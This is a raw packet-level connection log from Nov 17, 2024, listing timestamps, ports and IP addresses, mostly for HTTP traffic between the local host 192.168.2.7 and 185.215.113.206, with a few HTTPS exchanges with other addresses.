Nov 17, 2024 22:20:53.216342926 CET	443	60916	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:53.216455936 CET	60916	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:53.261920929 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.261945009 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.261991978 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.262006044 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.262041092 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.262057066 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.263334036 CET	443	60916	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:53.307404041 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.307430983 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.307497025 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.307702065 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.307746887 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.307760954 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.307765007 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.307784081 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.307789087 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.307802916 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.307818890 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.307945013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.307964087 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308001995 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308012962 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308032036 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308079004 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308281898 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308324099 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308342934 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308361053 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308378935 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308392048 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308398008 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308420897 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308434010 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308438063 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308463097 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308485985 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308502913 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308515072 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308521032 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308562040 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308574915 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308579922 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308609962 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308618069 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308648109 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308681965 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308693886 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308701038 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308718920 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308720112 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308756113 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308762074 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308805943 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308830976 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308844090 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308857918 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308862925 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308880091 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308887005 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308897972 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308913946 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308916092 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308934927 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308939934 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308952093 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.308969975 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.308995008 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.309014082 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.309034109 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.309052944 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.309076071 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.309104919 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.309122086 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.309154987 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.309165955 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.309180975 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.309200048 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.309226990 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.309235096 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.309257030 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.309274912 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.309276104 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.309302092 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.309314013 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.309315920 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.309365034 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.310193062 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310249090 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310252905 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.310292959 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310311079 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310359955 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.310363054 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310383081 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310427904 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.310436010 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310455084 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310484886 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310503960 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.310529947 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.310537100 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310583115 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.310605049 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310626984 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310647964 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.310666084 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310681105 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.310689926 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310704947 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310712099 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.310723066 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310739994 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.310740948 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310759068 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310765982 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.310780048 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310797930 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310800076 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.310828924 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.310836077 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310857058 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310890913 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310902119 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.310910940 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.310935020 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.310959101 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.311024904 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311079025 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.311081886 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311101913 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311135054 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311148882 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.311152935 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311170101 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311180115 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.311203957 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311217070 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.311222076 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311239958 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311242104 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.311256886 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311273098 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.311275005 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311292887 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311310053 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311367035 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.311381102 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311398983 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311429977 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311444998 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.311450005 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311466932 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311470985 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.311486006 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.311501980 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.311532974 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.312186003 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312259912 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312266111 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312269926 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.312273026 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312280893 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312319994 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.312331915 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312338114 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312350035 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312356949 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312381029 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.312407970 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.312427044 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312433004 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312446117 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312480927 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.312747955 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312753916 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312768936 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312805891 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.312835932 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.312838078 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312844992 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312858105 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312870026 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312877893 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312887907 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.312892914 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312900066 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312912941 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.312917948 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.312947035 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.313035965 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.313043118 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.313050985 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.313056946 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.313102961 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.340368032 CET	443	60901	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.340904951 CET	60901	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.340929031 CET	443	60901	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.341408014 CET	60901	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:53.341415882 CET	443	60901	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:53.378806114 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.378830910 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.378875971 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.378901005 CET	443	60908	23.47.50.167	192.168.2.7
Nov 17, 2024 22:20:53.378911018 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.378938913 CET	60908	443	192.168.2.7	23.47.50.167
Nov 17, 2024 22:20:53.389420986 CET	443	60916	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:53.389487028 CET	443	60916	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:53.389631987 CET	60916	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:53.390952110 CET	60916	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:53.390952110 CET	60916	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:53.390999079 CET	443	60916	3.168.24.65	192.168.2.7
Nov 17, 2024 22:20:53.391078949 CET	60916	443	192.168.2.7	3.168.24.65
Nov 17, 2024 22:20:53.424360037 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.424407959 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.424427032 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.424454927 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.424467087 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.424472094 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.424509048 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.424511909 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.424532890 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.424540043 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.424549103 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.424562931 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.424583912 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.424598932 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.424628973 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.424830914 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.424844980 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.424880028 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.424900055 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.424921036 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.424936056 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.424940109 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.424978971 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.424998045 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425003052 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425017118 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425055027 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425057888 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425077915 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425093889 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425107956 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425113916 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425132036 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425137997 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425154924 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425156116 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425177097 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425195932 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425199032 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425236940 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425245047 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425278902 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425296068 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425344944 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425348997 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425363064 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425379992 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425398111 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425420046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425424099 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425431967 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425437927 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425457954 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425462961 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425476074 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425494909 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425514936 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425518990 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425554037 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425601006 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425605059 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425622940 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425662041 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425668001 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425676107 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425713062 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425721884 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425730944 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425761938 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425776005 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425781012 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425798893 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425801992 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425816059 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425825119 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425838947 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425853014 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425857067 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425873995 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425909042 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425919056 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.425925970 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425946951 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.425960064 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.426016092 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.426016092 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.426016092 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.426727057 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.426740885 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.426763058 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.426775932 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.426803112 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.426819086 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.426821947 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.426841974 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.426862001 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.426867962 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.426882982 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.426891088 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.426902056 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.426913023 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.426924944 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.426960945 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427087069 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427104950 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427140951 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427150011 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427159071 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427176952 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427185059 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427192926 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427210093 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427226067 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427242041 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427279949 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427330017 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427366972 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427382946 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427413940 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427422047 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427442074 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427484989 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:53.427491903 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427510977 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427542925 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:53.427553892 CET	60797	80	192.168.2.7	185.215.113.206
